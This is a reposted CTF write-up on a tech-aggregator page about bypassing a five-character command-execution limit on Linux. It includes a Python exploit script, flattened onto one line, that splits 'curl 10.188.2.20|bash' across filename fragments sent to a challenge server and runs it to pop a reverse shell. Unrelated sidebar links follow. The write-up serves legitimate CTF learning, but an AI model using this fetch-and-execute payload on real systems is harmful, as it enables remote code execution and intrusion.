当前位置:网站首页>The CTF command execution subject their thinking
The CTF command execution subject their thinking
2022-08-03 01:03:00 【wespten】
CTF has a command execution vulnerability problem, and the single input character must not exceed 5.

Using Linux-specific commands to write shell bounces.
The principle is to use many methods such as curl ip|bash to bounce the shell.
import requestsfrom time import sleepfrom urllib.parse import quotepayload = [# generate `ls -t>g` file'>ls\\','ls>_','>\ \\','>-t\\','>\>g','ls>>_',# generate `curl orange.tw.tw|python`# generate `curl 10.188.2.20|bash`'>sh\ ','>ba\\','>\|\\',# '>03\\',# '>90\\','>0\\','>20\\','>1.\\','>12\\' ,'>7.\\','>10\\' ,'>9.\\','>3\\','>\ \\','>rl\\','>cu\\',#exec'sh_','sh g',]r = requests.get('http://120.79.33.253:9003/?reset=1')for i in payload:assert len(i) <= 5r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )print(i)sleep(0.2)Put a bash sentence in your own server, and use curl ip|bash to bounce the shell.
Enable monitoring, and the shell can be bounced after execution.

Using linux file writing skills:

ls -t >g is the reverse output file name, then sh _ executes the file and writes it to g

You can see that the file has curl xx.x.x.x|bash characters. Entering any character under linux and adding \ will not interrupt the current operation, and you can continue to enter the content.If there is no \ behind it, it will be interrupted, and sh can still execute executable commands in the case of an error, so it will not affect the execution of curl.
边栏推荐
猜你喜欢

The interviewer asked me: delete library, in addition to run do?

基于STM32的FLASH读写实验含代码(HAL库)

学习基因富集工具DAVID(3)

你离「TDengine 开发者大会」只差一条 SQL 语句!

Week 7 CNN Architectures - LeNet-5、AlexNet、VGGNet、GoogLeNet、ResNet

“百日行动”进行时:700余交通安全隐患被揪出

Mysql查看慢查询日志

【Unity】Unity开发进阶(六)UnityEvent使用与源码解析

Towards a General Purpose CNN for Long Range Dependencies in ND

学习基因富集工具DAVID(2)
随机推荐
如何通过开源数据库管理工具 DBeaver 连接 TDengine
mysql查询表中重复记录
从月薪10k到30k的必走之路:自动化测试
AcWing 2983. 玩具
JS Date 时间戳 getTune data.parse 倒计时小程序
了解 NFT 质押:Web3 中赚取被动收益的另一种方式
如何通过 IDEA 数据库管理工具连接 TDengine?
无代码开发平台表单样式设置步骤入门课程
TCP三次握手与四次挥手
Auto.js实现朋友圈自动点赞
你离「TDengine 开发者大会」只差一条 SQL 语句!
Tanabata is here - the romance of programmers
【TypeScript】深入学习TypeScript类(上)
Sentinel vs Hystrix 限流对比,到底怎么选?
软件测试到底自学还是报班?
VS保存后Unity不刷新
threejs 动态调整相机位置,使相机正好能看到对象
执子手,到永恒
Software testing pen questions 1 (with answers)
VMware workstation 程序启动慢